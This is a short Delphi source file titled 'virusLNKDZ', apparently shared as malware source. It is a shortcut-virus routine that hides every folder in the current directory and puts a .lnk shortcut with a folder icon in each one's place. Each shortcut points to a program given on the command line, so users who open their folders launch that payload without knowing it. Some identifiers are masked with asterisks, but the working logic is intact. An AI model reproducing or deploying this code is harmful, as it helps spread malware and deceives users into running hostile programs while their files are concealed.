program virusLNKDZ;
// by onexite
uses
  SysUtils,
  ActiveX,
  ComObj;

procedure run();
var
  Wsh****************l : OLEVariant;
  o****************lLink   : OLEVariant;
  searchResult : TSearchRec;

begin

 //SetCurrentDir('..');
     Wsh****************l := CreateOleObject('WScript.****************l');
  if FindFirst('*', faDirectory, searchResult) = 0 then
  begin
    repeat

if (searchResult.attr and faDirectory) = faDirectory then
begin
o****************lLink  := Wsh****************l.CreateShortcut(searchResult.Name+'.lnk') ;
if ((searchResult.Name<>'.') and (searchResult.Name<>'..') )then
FileSetAttr(searchResult.Name,2) ;
o****************lLink.TargetPath := ParamStr(1);
o****************lLink.IconLocation := '%SystemRoot%\system32\****************L32.dll, 3'  ;
o****************lLink.WindowStyle := 1 ;
o****************lLink.Save
end;
    until FindNext(searchResult) <> 0;
    FindClose(searchResult);
  end;

end;

begin
 try
    CoInitialize(nil);
    try
     run();
    finally
      CoUninitialize;
    end;
 except
   Exit;
  end;
end.